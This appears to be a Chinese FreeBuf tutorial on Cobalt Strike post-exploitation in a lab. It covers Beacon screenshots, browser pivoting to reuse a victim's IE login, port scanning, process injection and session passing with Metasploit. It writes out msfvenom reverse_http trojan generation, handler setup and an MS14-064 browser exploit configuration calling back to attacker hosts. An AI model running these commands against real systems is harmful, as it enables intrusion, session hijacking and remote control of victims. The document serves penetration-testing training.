freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CobaltStrike使用第二篇(攻击模块、会话管理、CS-MSF联动)
2021-11-30 15:56:29

攻击

当我们拿到Victim的Beacon之后就要进行攻击,CS中提供了很多攻击模块,接下来介绍常见使用方法

image-20211129161532099

用户驱动攻击

用户截屏

在目标中选择屏幕截图即可获取截图,截图会在视图->屏幕截图中显示

image-20211129161845795

因为默认会话60秒返回一次,所以再执行操作60秒之后会得到截图,也可以右击会话->选择sleep设置会话时间间隔

image-20211129162035538

右击选择进入Beacon,会出现一个beacon视图,视图中可以看到刚才执行的命令

image-20211129162224469

进程管理

也可以在进程列表中选择进程截图(汉化版有问题)

image-20211129162747452

可以选择进程后对其进行下面工具栏中的操作

任务处理

jobs查看任务列表
jobkill <jid>终止一个任务

进行的任务可以在beacon中使用jobs命令查看

image-20211129163315715

使用jobkill 1将其kill

文件管理

没什么好说的

image-20211129163706278

之后操作后可以在beacon看到执行状态(权限不够的话无法上传)

image-20211129163913162

输入pwd命令可以查看当前目录

远程VNC

VNC,为一种使用RFB协议的屏幕画面分享及远程操作软件。此软件借由网络,可发送键盘与鼠标的动作及即时的屏幕画面。 VNC与操作系统无关,因此可跨平台使用

image-20211129165111649

浏览器代理

只针对IE,其他浏览器无效

如果目标及其使用ie浏览器登录网站,启动浏览器后Hacker将可以用Victim的登录状态登录

比如Victim使用ie浏览器登录网站

http://10.242.197.249/CMS/_Common/xhcms/admin/?r=login

image-20211129170901878

CS开启浏览器代理

image-20211129171414712

开启状态可以在beacon中看到,框中的IP端口就是代理IP

image-20211129171445812

将IP设置为Hacker主机的浏览器的代理

image-20211129172037118

然后Hacker使用浏览器访问页面,成功使用Victim的登录状态登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IsUHq9jq-1638258759698)(https://gitee.com/q_one/oceanpic/raw/master/img2021-12/202111301550710.gif)]

使用命令browserpivot stop停止浏览器代理

browserpivot stop

用户发现&端口扫描

用户发现

net view

端口扫描

help portscan
Use: portscan [targets] [ports] [arp|icmp|none] [max connections]

也可以直接右击->选择端口扫描

在视图->目标中可以看到扫描结果

image-20211129210214665

视图

image-20211129210440645

会话管理

会话派生(传递)使用场景

  1. 将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可

  2. 将当前会话传递至MSF中联动

会话传递相关命令

Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。

spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序

spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为

inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中

spawninject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。

dllinjectdllinject + [pid]来将一个反射性 DLL 注入到一个进程中

shinject:使用shinject [pid] [架构] [/路径/.../file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。

shspawn:使用shspawn [架构] [/路径/.../file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中

dllload:使用dllload [pid] [c:\路径\...\file.dll]来在另一个进程中加载磁盘上的 DLL文件

CS派生会话

环境:

NameSystemIP
TeamServer1Kali192.168.179.128
TeamServer2&MSFKali192.168.179.138
Victim1Winserver2008192.168.179.148

CS新建连接

image-20211129213257264

自身增加会话或者在其他的 teamserver 做备份会话

自身增加会话

image-20211129213827561

选择choose,稍等很快就添加了一个会话

image-20211129213902713

注意:派生出来的会话,进程为rundll32.exe,原来的是powershell

派生到其他的 teamserver 做备份会话

从192.168.179.128这个备份到192.168.179.138这个TeamServer

首先需要在被派生Client中新建一个Listener

image-20211129214353716

在原Client中选择需要派生的会话,右击选择派生

选择刚才创建的Listener

image-20211129214515784

稍等片刻

image-20211129214851662

这两个派生出来的会话,进程都为rundll32.exe

CS派生MSF会话

首先在MSF(IP:192.168.179.138)中创建监听端口

use exploit/multi/handler 
set payload windows/meterpreter/reverse_http #cs4.0后使用Http
set lhost 192.168.179.128
set lport 23333
exploit -j 
# -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
其他命令
jobs  查看后台攻击任务 
kill <id>  停止某后台攻击任务 
sessions -l  (查看会话)
sessions -i 2   选择会话
sessions -k 2   结束会话

在CS中新建一个Foreign Listener

image-20211129220225077

CS中选择会话->派生选择对应Listener,选择后MSF就可以收到Session

image-20211129222512696

问题解决

因为我使用的CS版本为4.1,Foreign只剩下Http和Https,MSF pyload为windows/foreign/reverse_tcp时会出现以下错误

image-20211129221322889

原因:因为cs设置的payload是windows/foreign/reverse_http,但是msf这边设置的是windows/foreign/reverse_tcp,这两个协议不相同,不可以通信,CS新版中又没有TCP,

解决:将msf设置的payload为window/foreign/reverse_http,再次从cs派生shell,可以拿到meterpreter shell,旧版CS可以使用Tcp

MSF木马->CS会话

1.CS创建HTTP Beacon Listener

image-20211130145156691

2.在Kali中执行以下命令,MSF生成木马

sfvenom -p windows/meterpreter/reverse_http LHOST=192.168.179.128 LPORT=8808 -f exe > /tmp/shell1.exe

# 此处的host为TeamServer IP、端口为Listener设置的端口

image-20211130145114135

3.生成的木马文件通过漏洞,上传到目标靶机并执行

image-20211130145418585

上线CS,Process为shell1.exe

MSFexp->CS会话

和msf木马添加至cs会话一致,只需要在msf设置payload时,将lhost和lport设置为cs http监听器即可

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.134
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.104
set lport 8888
set disablepayloadhandler True
set PrependMigrate true
set lhost 80
exploit
# 攻击之后会生成url
set disablepayloadhandler True
# 将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
set PrependMigrate true

因为msf使用的payload是浏览器exp,当xp系统的受害人用浏览器访问http://192.168.0.134:80/1Gk97z32pr 这个带有攻击代码的链接时候,成功的话就会在cobalt strike 产生一个会话

MSFsession派生到CS

1.首先msf中需要有session

image-20211130153607651

2.cs新建Listener

image-20211130154226972

3.msf 使用以下模块

msf5> use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 7
set lhost 192.168.179.128
# IP是CS TeamServer ip
set lport 8888
# port是CS Listener port
set DisablePayloadHandler true
exploit -j

image-20211130154539464
同样要注意是http协议

# 渗透测试 # 系统安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录